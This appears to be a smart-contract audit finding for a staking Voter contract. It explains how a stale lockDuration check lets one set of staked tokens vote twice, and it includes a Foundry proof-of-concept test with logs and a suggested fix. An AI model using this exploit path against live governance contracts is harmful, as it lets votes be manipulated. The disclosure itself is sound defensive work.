Sleepy Navy Ant

Medium

# attacker can vote twice with same staking tokens

## Summary

For a voter to cast a vote, they must have a position with a `lockDuration` greater than the voting period. This requirement prevents a voter from withdrawing and transferring funds to another position to vote again. However, due to the check relying on an outdated value of `lockDuration`, an attacker can exploit this by voting with one position and then transferring the tokens to another position to vote again, effectively allowing double voting with the same staked tokens.

## Vulnerability Detail

to vote with a position it needs to pass these checks for lockDuration:

- Voter
```solidity
if (_mlumStaking.getStakingPosition(tokenId).initialLockDuration < _minimumLockTime) {
    revert IVoter__InsufficientLockTime();
}
=>if (_mlumStaking.getStakingPosition(tokenId).lockDuration < _periodDuration) {
    revert IVoter__InsufficientLockTime();
}
```

in line 175 the check is based on the lockDuration of the position:

- mlumStaking
```solidity
function getStakingPosition(uint256 tokenId) external view override returns (StakingPosition memory position) {
        position = _stakingPositions[tokenId];
    }
```

this lockDuration is the value stored for the position and not how much it is currently locked, basically allowing users to vote while their current lockDuration is lower than the votingPeriod.

- example:
    1. a user creates a position with `lockDuration = _minimumLockTime`
    2. after the lockDuration he is able to withdraw his position
    3. but he is also still able to vote because both checks pass
    4. the inititalLockDuration = _minimumLockTime
    5. and the lockDuration is saved from the creation of the position = _minimumLockTime
    6. he can then withdraw his tokens
    7. add them to another position and vote again


## Proof Of Concept

in this coded POC i showed that a user can double vote with the same staking tokens, because the unlockDuration doesn't reflect the actual lockTime for the position.

- to run: `forge test --match-test testDoubleVoting -vv`

- Voter
```solidity
function testDoubleVoting() public{
        address attacker = address(0x1337);

        //pool to vote for
        address[] memory pools = new address[](1);
        pools[0] = 0x95f00a7125EC3D78d6B2FCD6FFd9989941eF25fC;

        //amounts
        uint[] memory deltaAmounts = new uint256[](1);
        deltaAmounts[0] = 1.5 ether;

        //attacker creates position and funds it with most staking tokens
        {
            
        _stakingToken.mint(attacker, 2 ether);

        vm.startPrank(attacker);
        _stakingToken.approve(address(_pool), 1000 ether);
        _pool.createPosition(1.5 ether, 4 weeks);
        vm.stopPrank();
        }

        vm.warp(block.timestamp + 4 weeks);

        //owner starts a new voting period
        vm.prank(DEV);
        _voter.startNewVotingPeriod();

        //attacker votes with position even though he is able to unlock his funds directly
        {
        vm.startPrank(attacker);
        _voter.vote(1, pools, deltaAmounts);

        //check that the pool got the votes
        console.log("votes after voting once: ", _voter.getVotesPerPeriod(1, pools[0]));

        //attacker then withdraws his staked tokens and adds them to another position and votes again
        _pool.withdrawFromPosition(1, 1.5 ether);
        _pool.createPosition(1.5 ether, 4 weeks);
        _voter.vote(2, pools, deltaAmounts);

        //check that the pool got double votes

        console.log("votes after double voting: ", _voter.getVotesPerPeriod(1, pools[0]));

        vm.stopPrank();
        }

    }
```

- logs
```solidity
votes after voting once:  1500000000000000000
votes after double voting:  3000000000000000000
```

## Impact

any attacker is able to vote twice with same staking tokens.

## Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/42e799446595c542eff9519353d3becc50cdba63/magicsea-staking/src/Voter.sol#L153-L177

## Recommendation

get the current lockDuration instead of the saved old one:

```diff
- if (_mlumStaking.getStakingPosition(tokenId).lockDuration < _periodDuration) {
+ if (_mlumStaking.remainingLockTime(_mlumStaking.getStakingPosition(tokenId)) < _periodDuration)
revert IVoter__InsufficientLockTime();
        }
```

this will get the `remainingLockTime` instead of the saved lock duration. need to make `_remainingLockTime` public instead of internal.